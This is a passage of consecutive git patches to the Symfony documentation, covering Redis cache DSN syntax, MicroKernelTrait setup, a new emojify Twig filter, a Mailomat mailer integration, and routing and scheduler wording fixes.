-    A `Data Source Name (DSN)`_ for this adapter must use either one of the following formats.
+    A `Data Source Name (DSN)`_ for this adapter must use the following format.
 
     .. code-block:: text
 
         redis[s]://[pass@][ip|host|socket[:port]][/db-index]
 
-    .. code-block:: text
-
-        redis[s]:[[user]:pass@]?[ip|host|socket[:port]][&params]
-
-    Values for placeholders ``[user]``, ``[:port]``, ``[/db-index]`` and ``[&params]`` are optional.
-
 Below are common examples of valid DSNs showing a combination of available values::
 
     use Symfony\Component\Cache\Adapter\RedisAdapter;
@@ -89,11 +83,8 @@ Below are common examples of valid DSNs showing a combination of available value
     // socket "/var/run/redis.sock" and auth "bad-pass"
     RedisAdapter::createConnection('redis://bad-pass@/var/run/redis.sock');
 
-    // host "redis1" (docker container) with alternate DSN syntax and selecting database index "3"
-    RedisAdapter::createConnection('redis:?host[redis1:6379]&dbindex=3');
-
-    // providing credentials with alternate DSN syntax
-    RedisAdapter::createConnection('redis:default:verysecurepassword@?host[redis1:6379]&dbindex=3');
+    // a single DSN can define multiple servers using the following syntax:
+    // host[hostname-or-IP:port] (where port is optional). Sockets must include a trailing ':'
 
     // a single DSN can also define multiple servers
     RedisAdapter::createConnection(
@@ -108,16 +99,6 @@ parameter to set the name of your service group::
         'redis:?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster'
     );
 
-    // providing credentials
-    RedisAdapter::createConnection(
-        'redis:default:verysecurepassword@?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster'
-    );
-
-    // providing credentials and selecting database index "3"
-    RedisAdapter::createConnection(
-        'redis:default:verysecurepassword@?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster&dbindex=3'
-    );
-
 .. note::
 
     See the :class:`Symfony\\Component\\Cache\\Traits\\RedisTrait` for more options

From b7fe8d48ec7fc9c6e0fb450cde2e6e329ee030ac Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Jun 2024 10:32:16 +0200
Subject: [PATCH 4801/5766] [Cache] Revert some changes merged made in 5.x
 branch

---
 components/cache/adapters/redis_adapter.rst | 31 +++++++++++++++++----
 1 file changed, 25 insertions(+), 6 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index f5f817f65dd..6ef62473c58 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -59,18 +59,24 @@ helper method allows creating and configuring the Redis client class instance us
         'redis://localhost'
     );
 
-The DSN can specify either an IP/host (and an optional port) or a socket path, as
-well as a database index. To enable TLS for connections, the scheme ``redis`` must
-be replaced by ``rediss`` (the second ``s`` means "secure").
+The DSN can specify either an IP/host (and an optional port) or a socket path, as well as a
+password and a database index. To enable TLS for connections, the scheme ``redis`` must be
+replaced by ``rediss`` (the second ``s`` means "secure").
 
 .. note::
 
-    A `Data Source Name (DSN)`_ for this adapter must use the following format.
+    A `Data Source Name (DSN)`_ for this adapter must use either one of the following formats.
 
     .. code-block:: text
 
         redis[s]://[pass@][ip|host|socket[:port]][/db-index]
 
+    .. code-block:: text
+
+        redis[s]:[[user]:pass@]?[ip|host|socket[:port]][&params]
+
+    Values for placeholders ``[user]``, ``[:port]``, ``[/db-index]`` and ``[&params]`` are optional.
+
 Below are common examples of valid DSNs showing a combination of available values::
 
     use Symfony\Component\Cache\Adapter\RedisAdapter;
@@ -87,8 +93,11 @@ Below are common examples of valid DSNs showing a combination of available value
     // socket "/var/run/redis.sock" and auth "bad-pass"
     RedisAdapter::createConnection('redis://bad-pass@/var/run/redis.sock');
 
-    // a single DSN can define multiple servers using the following syntax:
-    // host[hostname-or-IP:port] (where port is optional). Sockets must include a trailing ':'
+    // host "redis1" (docker container) with alternate DSN syntax and selecting database index "3"
+    RedisAdapter::createConnection('redis:?host[redis1:6379]&dbindex=3');
+
+    // providing credentials with alternate DSN syntax
+    RedisAdapter::createConnection('redis:default:verysecurepassword@?host[redis1:6379]&dbindex=3');
 
     // a single DSN can also define multiple servers
     RedisAdapter::createConnection(
@@ -103,6 +112,16 @@ parameter to set the name of your service group::
         'redis:?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster'
     );
 
+    // providing credentials
+    RedisAdapter::createConnection(
+        'redis:default:verysecurepassword@?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster'
+    );
+
+    // providing credentials and selecting database index "3"
+    RedisAdapter::createConnection(
+        'redis:default:verysecurepassword@?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster&dbindex=3'
+    );
+
 .. note::
 
     See the :class:`Symfony\\Component\\Cache\\Traits\\RedisTrait` for more options

From 51a7480fe4106a17ed88e9e990f74e8c971986ef Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Jun 2024 16:00:26 +0200
Subject: [PATCH 4802/5766] [FrameworkBundle] Remove an unneeded versionadded
 directive

---
 reference/configuration/framework.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d3ddfc3e472..8fe6c6e637b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1236,10 +1236,6 @@ retry_failed
 
 **type**: ``array``
 
-.. versionadded:: 5.2
-
-    The ``retry_failed`` option was introduced in Symfony 5.2.
-
 This option configures the behavior of the HTTP client when some request fails,
 including which types of requests to retry and how many times. The behavior is
 defined with the following options:

From 0050ebae4c477b9f1aa30e2c86526e6827820efe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Jun 2024 16:03:27 +0200
Subject: [PATCH 4803/5766] [FrameworkBundle] Remove some unneeded versionadded
 directives

---
 configuration/micro_kernel_trait.rst  | 4 ----
 reference/configuration/framework.rst | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 6b90a3d7ddb..b67335514a1 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -120,10 +120,6 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
         $response->send();
         $kernel->terminate($request, $response);
 
-.. versionadded:: 6.1
-
-    The PHP attributes notation has been introduced in Symfony 6.1.
-
 .. note::
 
     In addition to the ``index.php`` file, you'll need to create a directory called
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 6e93c4568b9..fec52229973 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -972,10 +972,6 @@ crypto_method
 The minimum version of TLS to accept. The value must be one of the
 ``STREAM_CRYPTO_METHOD_TLSv*_CLIENT`` constants defined by PHP.
 
-.. versionadded:: 6.3
-
-    The ``crypto_method`` option was introduced in Symfony 6.3.
-
 .. _reference-http-client-retry-delay:
 
 delay

From 754f12d88b78346939015cefc360e678856e7103 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Tue, 18 Jun 2024 14:04:09 +0200
Subject: [PATCH 4804/5766] Update http_kernel.rst

---
 components/http_kernel.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 5023169e680..3a367347a8d 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -3,8 +3,8 @@ The HttpKernel Component
 
     The HttpKernel component provides a structured process for converting
     a ``Request`` into a ``Response`` by making use of the EventDispatcher
-    component. It's flexible enough to create a full-stack framework (Symfony),
-    a micro-framework (Silex) or an advanced CMS system (Drupal).
+    component. It's flexible enough to create a full-stack framework (Symfony)
+    or an advanced CMS (Drupal).
 
 Installation
 ------------

From e3b2563b22ef6fa313c36b7cfa5a0e5341b3358b Mon Sep 17 00:00:00 2001
From: Augustin <gus3000spam@gmail.com>
Date: Thu, 20 Jun 2024 10:59:04 +0200
Subject: [PATCH 4805/5766] Update lock.rst

incorrect assumption that $lock->getRemainingLifetime()'s unit was minutes instead of seconds
---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 3332d24fe32..e97d66862f2 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -788,7 +788,7 @@ Using the above methods, a robust code would be::
             $lock->refresh();
         }
 
-        // Perform the task whose duration MUST be less than 5 minutes
+        // Perform the task whose duration MUST be less than 5 seconds
     }
 
 .. caution::

From d25c009b180ca57b0449fad9c285ceae780110e7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Apr 2024 11:53:36 +0200
Subject: [PATCH 4806/5766] [Emoji][Twig] Add `emojify` filter

---
 reference/twig_reference.rst | 31 +++++++++++++++++++++++++++++++
 string.rst                   | 29 +++++++++++++++++++++++++++++
 2 files changed, 60 insertions(+)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index fcd95ce9b6e..812b56f8637 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -645,6 +645,37 @@ serialize
 Accepts any data that can be serialized by the :doc:`Serializer component </serializer>`
 and returns a serialized string in the specified ``format``.
 
+.. _reference-twig-filter-emojify:
+
+emojify
+~~~~~~~
+
+.. versionadded:: 7.1
+
+    The ``emojify`` filter was introduced in Symfony 7.1.
+
+.. code-block:: twig
+
+    {{ text|emojify(catalog = null) }}
+
+``text``
+    **type**: ``string``
+
+``catalog`` *(optional)*
+    **type**: ``string`` | ``null``
+
+    The emoji set used to generate the textual representation (``slack``,
+    ``github``, ``gitlab``, etc.)
+
+It transforms the textual representation of an emoji (e.g. ``:wave:``) into the
+actual emoji (👋):
+
+.. code-block:: twig
+
+    {{ ':+1:'|emojify }}                 {# renders: 👍 #}
+    {{ ':+1:'|emojify('github') }}       {# renders: 👍 #}
+    {{ ':thumbsup:'|emojify('gitlab') }} {# renders: 👍 #}
+
 .. _reference-twig-tags:
 
 Tags
diff --git a/string.rst b/string.rst
index 01752fff9c9..5e18cfcaea3 100644
--- a/string.rst
+++ b/string.rst
@@ -613,6 +613,8 @@ Convert Slack short codes to emojis with the ``slack-emoji`` locale::
     $transliterator->transliterate('Menus with :green_salad: or :falafel:');
     // => 'Menus with 🥗 or 🧆'
 
+.. _string-text-emoji:
+
 Universal Emoji Short Codes Transliteration
 ###########################################
 
@@ -637,6 +639,33 @@ You can convert emojis to short codes with the ``emoji-text`` locale::
     $transliterator->transliterate('Breakfast with 🥝 or 🥛');
     // => 'Breakfast with :kiwifruit: or :milk-glass:
 
+Inverse Emoji Transliteration
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 7.1
+
+    The inverse emoji transliteration was introduced in Symfony 7.1.
+
+Given the textual representation of an emoji, you can reverse it back to get the
+actual emoji thanks to the :ref:`emojify filter <reference-twig-filter-emojify>`:
+
+.. code-block:: twig
+
+    {{ 'I like :kiwi-fruit:'|emojify }} {# renders: I like 🥝 #}
+    {{ 'I like :kiwi:'|emojify }}       {# renders: I like 🥝 #}
+    {{ 'I like :kiwifruit:'|emojify }}  {# renders: I like 🥝 #}
+
+By default, ``emojify`` uses the :ref:`text catalog <string-text-emoji>`, which
+merges the emoji text codes of all services. If you prefer, you can select a
+specific catalog to use:
+
+.. code-block:: twig
+
+    {{ 'I :green-heart: this'|emojify }}                  {# renders: I 💚 this #}
+    {{ ':green_salad: is nice'|emojify('slack') }}        {# renders: 🥗 is nice #}
+    {{ 'My :turtle: has no name yet'|emojify('github') }} {# renders: My 🐢 has no name yet #}
+    {{ ':kiwi: is a great fruit'|emojify('gitlab') }}     {# renders: 🥝 is a great fruit #}
+
 Removing Emojis
 ~~~~~~~~~~~~~~~
 

From 15dcd7e221ae7caca0cec61f56b2adab1cdd9b55 Mon Sep 17 00:00:00 2001
From: Patrick Landolt <patrick.landolt@artack.ch>
Date: Sun, 9 Jun 2024 18:19:11 +0200
Subject: [PATCH 4807/5766] [Mailer] Add mailomat mailer

---
 mailer.rst  | 10 ++++++++++
 webhook.rst |  5 +++++
 2 files changed, 15 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index d7bccb11d86..502644a741a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -106,6 +106,7 @@ Service               Install with                                    Webhook su
 `Infobip`_            ``composer require symfony/infobip-mailer``
 `Mailgun`_            ``composer require symfony/mailgun-mailer``     yes
 `Mailjet`_            ``composer require symfony/mailjet-mailer``     yes
+`Mailomat`_           ``composer require symfony/mailomat-mailer``    yes
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
@@ -119,6 +120,10 @@ Service               Install with                                    Webhook su
 
     The Azure and Resend integrations were introduced in Symfony 7.1.
 
+.. versionadded:: 7.2
+
+    The Mailomat integration was introduced in Symfony 7.2.
+
 .. note::
 
     As a convenience, Symfony also provides support for Gmail (``composer
@@ -201,6 +206,10 @@ party provider:
 |                        | - HTTP n/a                                              |
 |                        | - API ``mailjet+api://ACCESS_KEY:SECRET_KEY@default``   |
 +------------------------+---------------------------------------------------------+
+| `Mailomat`_            | - SMTP ``mailomat+smtp://USERNAME:PASSWORD@default``    |
+|                        | - HTTP n/a                                              |
+|                        | - API ``mailomat+api://KEY@default``                    |
++------------------------+---------------------------------------------------------+
 | `MailPace`_            | - SMTP ``mailpace+api://API_TOKEN@default``             |
 |                        | - HTTP n/a                                              |
 |                        | - API ``mailpace+api://API_TOKEN@default``              |
@@ -1979,6 +1988,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`Mailgun`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailgun/README.md
 .. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailjet/README.md
 .. _`Markdown syntax`: https://commonmark.org/
+.. _`Mailomat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailomat/README.md
 .. _`MailPace`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/MailPace/README.md
 .. _`OpenSSL PHP extension`: https://www.php.net/manual/en/book.openssl.php
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
diff --git a/webhook.rst b/webhook.rst
index 38f3a4b1004..52633ae83e5 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -27,6 +27,7 @@ Brevo          ``mailer.webhook.request_parser.brevo``
 MailerSend     ``mailer.webhook.request_parser.mailersend``
 Mailgun        ``mailer.webhook.request_parser.mailgun``
 Mailjet        ``mailer.webhook.request_parser.mailjet``
+Mailomat       ``mailer.webhook.request_parser.mailomat``
 Postmark       ``mailer.webhook.request_parser.postmark``
 Resend         ``mailer.webhook.request_parser.resend``
 Sendgrid       ``mailer.webhook.request_parser.sendgrid``
@@ -36,6 +37,10 @@ Sendgrid       ``mailer.webhook.request_parser.sendgrid``
 
     The support for ``Resend`` and ``MailerSend`` were introduced in Symfony 7.1.
 
+.. versionadded:: 7.2
+
+    The ``Mailomat`` integration was introduced in Symfony 7.2.
+
 .. note::
 
     Install the third-party mailer provider you want to use as described in the

From 7cdfb52930f9097fef14ed56a3c8d6624461cb52 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 19 Jun 2024 09:20:04 +0200
Subject: [PATCH 4808/5766] [FrameworkBundle] Simplified the MicroKernelTrait
 setup

---
 configuration/micro_kernel_trait.rst | 107 +++++++++++++++------------
 1 file changed, 60 insertions(+), 47 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index b67335514a1..23aa677cf20 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -16,9 +16,7 @@ via Composer:
 
 .. code-block:: terminal
 
-    $ composer require symfony/config symfony/http-kernel \
-      symfony/http-foundation symfony/routing \
-      symfony/dependency-injection symfony/framework-bundle
+    $ composer symfony/framework-bundle symfony/runtime
 
 Next, create an ``index.php`` file that defines the kernel class and runs it:
 
@@ -34,19 +32,12 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
         use Symfony\Component\HttpKernel\Kernel as BaseKernel;
         use Symfony\Component\Routing\Attribute\Route;
 
-        require __DIR__.'/vendor/autoload.php';
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
         class Kernel extends BaseKernel
         {
             use MicroKernelTrait;
 
-            public function registerBundles(): array
-            {
-                return [
-                    new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
-                ];
-            }
-
             protected function configureContainer(ContainerConfigurator $container): void
             {
                 // PHP equivalent of config/packages/framework.yaml
@@ -64,11 +55,9 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
             }
         }
 
-        $kernel = new Kernel('dev', true);
-        $request = Request::createFromGlobals();
-        $response = $kernel->handle($request);
-        $response->send();
-        $kernel->terminate($request, $response);
+        return static function (array $context) {
+            return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
+        }
 
     .. code-block:: php
 
@@ -80,19 +69,12 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
         use Symfony\Component\HttpKernel\Kernel as BaseKernel;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        require __DIR__.'/vendor/autoload.php';
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
         class Kernel extends BaseKernel
         {
             use MicroKernelTrait;
 
-            public function registerBundles(): array
-            {
-                return [
-                    new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
-                ];
-            }
-
             protected function configureContainer(ContainerConfigurator $container): void
             {
                 // PHP equivalent of config/packages/framework.yaml
@@ -114,17 +96,9 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
             }
         }
 
-        $kernel = new Kernel('dev', true);
-        $request = Request::createFromGlobals();
-        $response = $kernel->handle($request);
-        $response->send();
-        $kernel->terminate($request, $response);
-
-.. note::
-
-    In addition to the ``index.php`` file, you'll need to create a directory called
-    ``config/`` in your project (even if it's empty because you define the configuration
-    options inside the ``configureContainer()`` method).
+        return static function (array $context) {
+            return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
+        }
 
 That's it! To test it, start the :doc:`Symfony Local Web Server
 </setup/symfony_server>`:
@@ -135,6 +109,23 @@ That's it! To test it, start the :doc:`Symfony Local Web Server
 
 Then see the JSON response in your browser: http://localhost:8000/random/10
 
+.. tip::
+
+    If your kernel only defines a single controller, you can use an invokable method::
+
+        class Kernel extends BaseKernel
+        {
+            use MicroKernelTrait;
+
+            // ...
+
+            #[Route('/random/{limit}', name: 'random_number')]
+            public function __invoke(int $limit): JsonResponse
+            {
+                // ...
+            }
+        }
+
 The Methods of a "Micro" Kernel
 -------------------------------
 
@@ -142,7 +133,26 @@ When you use the ``MicroKernelTrait``, your kernel needs to have exactly three m
 that define your bundles, your services and your routes:
 
 **registerBundles()**
-    This is the same ``registerBundles()`` that you see in a normal kernel.
+    This is the same ``registerBundles()`` that you see in a normal kernel. By
+    default, the micro kernel only registers the ``FrameworkBundle``. If you need
+    to register more bundles, override this method::
+
+        use Symfony\Bundle\FrameworkBundle\FrameworkBundle;
+        use Symfony\Bundle\TwigBundle\TwigBundle;
+        // ...
+
+        class Kernel extends BaseKernel
+        {
+            use MicroKernelTrait;
+
+            // ...
+
+            public function registerBundles(): array
+            {
+                yield new FrameworkBundle();
+                yield new TwigBundle();
+            }
+        }
 
 **configureContainer(ContainerConfigurator $container)**
     This method builds and configures the container. In practice, you will use
@@ -151,9 +161,13 @@ that define your bundles, your services and your routes:
     services directly in PHP or load external configuration files (shown below).
 
 **configureRoutes(RoutingConfigurator $routes)**
-    Your job in this method is to add routes to the application. The
-    ``RoutingConfigurator`` has methods that make adding routes in PHP more
-    fun. You can also load external routing files (shown below).
+    In this method, you can use the ``RoutingConfigurator`` object to define routes
+    in your application and associate them to the controllers defined in this very
+    same file.
+
+    However, it's more convenient to define the controller routes using PHP attributes,
+    as shown above. That's why this method is commonly used only to load external
+    routing files (e.g. from bundles) as shown below.
 
 Adding Interfaces to "Micro" Kernel
 -----------------------------------
@@ -231,7 +245,10 @@ Now it looks like this::
     namespace App;
 
     use App\DependencyInjection\AppExtension;
+    use Symfony\Bundle\FrameworkBundle\FrameworkBundle;
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Bundle\TwigBundle\TwigBundle;
+    use Symfony\Bundle\WebProfilerBundle\WebProfilerBundle;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
@@ -241,18 +258,14 @@ Now it looks like this::
     {
         use MicroKernelTrait;
 
-        public function registerBundles(): array
+        public function registerBundles(): iterable
         {
-            $bundles = [
-                new \Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
-                new \Symfony\Bundle\TwigBundle\TwigBundle(),
-            ];
+            yield FrameworkBundle();
+            yield TwigBundle();
 
             if ('dev' === $this->getEnvironment()) {
-                $bundles[] = new \Symfony\Bundle\WebProfilerBundle\WebProfilerBundle();
+                yield WebProfilerBundle();
             }
-
-            return $bundles;
         }
 
         protected function build(ContainerBuilder $containerBuilder): void

From 7fb3276c0ac8218fc7fbfea87e8dcadb2d09d2b1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Jun 2024 10:29:20 +0200
Subject: [PATCH 4809/5766] Minor tweak

---
 reference/configuration/framework.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3f25e041737..ce1062de1c8 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1629,7 +1629,8 @@ To see a list of all available storages, run:
 
 .. versionadded:: 5.3
 
-    The ``storage_factory_id`` option was introduced in Symfony 5.3 deprecating the ``storage_id`` option.
+    The ``storage_factory_id`` option was introduced in Symfony 5.3 as a replacement
+    of the ``storage_id`` option.
 
 .. _config-framework-session-handler-id:
 

From 55215caf28af69924057021407aa2e333d05bb60 Mon Sep 17 00:00:00 2001
From: Nic Wortel <nic@nicwortel.nl>
Date: Wed, 24 Apr 2024 17:04:10 +0200
Subject: [PATCH 4810/5766] [Routing] Document the effect of setting `locale`
 on a route with locale prefixes

---
 routing.rst | 48 ++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 48 insertions(+)

diff --git a/routing.rst b/routing.rst
index b557763e118..45f6d9a92b4 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2416,6 +2416,54 @@ with a locale. This can be done by defining a different prefix for each locale
             ;
         };
 
+.. tip::
+
+    If the special :ref:`_locale <routing-locale-parameter>` routing parameter
+    is set on any of the imported routes, that route will only be available
+    with the prefix for that locale. This is useful when you want to import
+    a collection of routes which contains a route that should only exist
+    in one of the locales:
+
+    .. configuration-block::
+
+        .. code-block:: php-annotations
+
+            // src/Controller/CompanyController.php
+            namespace App\Controller;
+
+            use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+            use Symfony\Component\HttpFoundation\Response;
+            use Symfony\Component\Routing\Annotation\Route;
+
+            class CompanyController extends AbstractController
+            {
+                /**
+                 * @Route("/about-us/en-only", locale="en", name="about_us")
+                 */
+                public function about(): Response
+                {
+                    // ...
+                }
+            }
+
+        .. code-block:: php-attributes
+
+            // src/Controller/CompanyController.php
+            namespace App\Controller;
+
+            use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+            use Symfony\Component\HttpFoundation\Response;
+            use Symfony\Component\Routing\Annotation\Route;
+
+            class CompanyController extends AbstractController
+            {
+                #[Route('/about-us/en-only', locale: 'en', name: 'about_us')]
+                public function about(): Response
+                {
+                    // ...
+                }
+            }
+
 Another common requirement is to host the website on a different domain
 according to the locale. This can be done by defining a different host for each
 locale.

From e1b69a1dd3671f3e707a988bc8ec46cb4864ace9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Jun 2024 16:23:26 +0200
Subject: [PATCH 4811/5766] Reword

---
 routing.rst | 52 +++++++---------------------------------------------
 1 file changed, 7 insertions(+), 45 deletions(-)

diff --git a/routing.rst b/routing.rst
index 45f6d9a92b4..4b4f4f9e871 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2416,53 +2416,15 @@ with a locale. This can be done by defining a different prefix for each locale
             ;
         };
 
-.. tip::
-
-    If the special :ref:`_locale <routing-locale-parameter>` routing parameter
-    is set on any of the imported routes, that route will only be available
-    with the prefix for that locale. This is useful when you want to import
-    a collection of routes which contains a route that should only exist
-    in one of the locales:
-
-    .. configuration-block::
-
-        .. code-block:: php-annotations
-
-            // src/Controller/CompanyController.php
-            namespace App\Controller;
-
-            use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-            use Symfony\Component\HttpFoundation\Response;
-            use Symfony\Component\Routing\Annotation\Route;
-
-            class CompanyController extends AbstractController
-            {
-                /**
-                 * @Route("/about-us/en-only", locale="en", name="about_us")
-                 */
-                public function about(): Response
-                {
-                    // ...
-                }
-            }
-
-        .. code-block:: php-attributes
-
-            // src/Controller/CompanyController.php
-            namespace App\Controller;
+.. note::
 
-            use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-            use Symfony\Component\HttpFoundation\Response;
-            use Symfony\Component\Routing\Annotation\Route;
+    If a route being imported includes the special :ref:`_locale <routing-locale-parameter>`
+    parameter in its own definition, Symfony will only import it for that locale
+    and not for the other configured locale prefixes.
 
-            class CompanyController extends AbstractController
-            {
-                #[Route('/about-us/en-only', locale: 'en', name: 'about_us')]
-                public function about(): Response
-                {
-                    // ...
-                }
-            }
+    E.g. if a route contains ``locale: 'en'`` in its definition and it's being
+    imported with ``en`` (prefix: empty) and ``nl`` (prefix: ``/nl``) locales,
+    that route will be available only in ``en`` locale and not in ``nl``.
 
 Another common requirement is to host the website on a different domain
 according to the locale. This can be done by defining a different host for each

From 2d93c37b2f67cbbc6d7ea6c4fcf6ec48fcc1c0e7 Mon Sep 17 00:00:00 2001
From: Issam KHADIRI <khadiri.issam@gmail.com>
Date: Mon, 4 Apr 2022 00:02:38 +0200
Subject: [PATCH 4812/5766] Update serializer.rst

Hello

I think it is not necessary to add a ClassMetadataFactory here because we are not about to use Class Metadata, Without that argument, the example works well too
---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index fb9b06e8362..0e891cc961c 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1722,7 +1722,7 @@ context option::
         }
     }
 
-    $normalizer = new ObjectNormalizer($classMetadataFactory);
+    $normalizer = new ObjectNormalizer();
     $serializer = new Serializer([$normalizer]);
 
     $data = $serializer->denormalize(

From 7e8f774d44b5cd0c9b15065c9afb20d7848041b0 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sun, 21 Apr 2024 17:17:43 +0200
Subject: [PATCH 4813/5766] [Scheduler] show ``make:schedule``

---
 scheduler.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index 12d76eadc29..0844f2a22a8 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -26,6 +26,11 @@ install the scheduler component:
 
     $ composer require symfony/scheduler
 
+.. tip::
+
+    Starting in `MakerBundle`_ ``v1.58.0``, you can run ``php bin/console make:schedule``
+    to generate a basic schedule, that you can customise to create your own Scheduler.
+
 Symfony Scheduler Basics
 ------------------------
 
@@ -973,6 +978,7 @@ helping you identify those messages when needed.
     Automatically attaching a :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp`
     to redispatched messages was introduced in Symfony 6.4.
 
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
 .. _`crontab.guru website`: https://crontab.guru/

From 5b44145937384b550fbc3cb8de41212e44385d4f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Jun 2024 10:46:22 +0200
Subject: [PATCH 4814/5766] Minor typo

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index bb8d4b05c4e..ae621d9ece5 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -29,7 +29,7 @@ install the scheduler component:
 .. tip::
 
     Starting in `MakerBundle`_ ``v1.58.0``, you can run ``php bin/console make:schedule``
-    to generate a basic schedule, that you can customise to create your own Scheduler.
+    to generate a basic schedule, that you can customize to create your own Scheduler.
 
 Symfony Scheduler Basics
 ------------------------

From dd658c690e3c7128341d55553dd12550d86ee4c9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Jun 2024 10:54:25 +0200
Subject: [PATCH 4815/5766] Minor reword

---
 service_container/autowiring.rst | 20 +++++++++++---------
 1 file changed, 11 insertions(+), 9 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 979c798c8b8..6e86ee9c6f2 100644
--- a/service_container/autowiring.rst
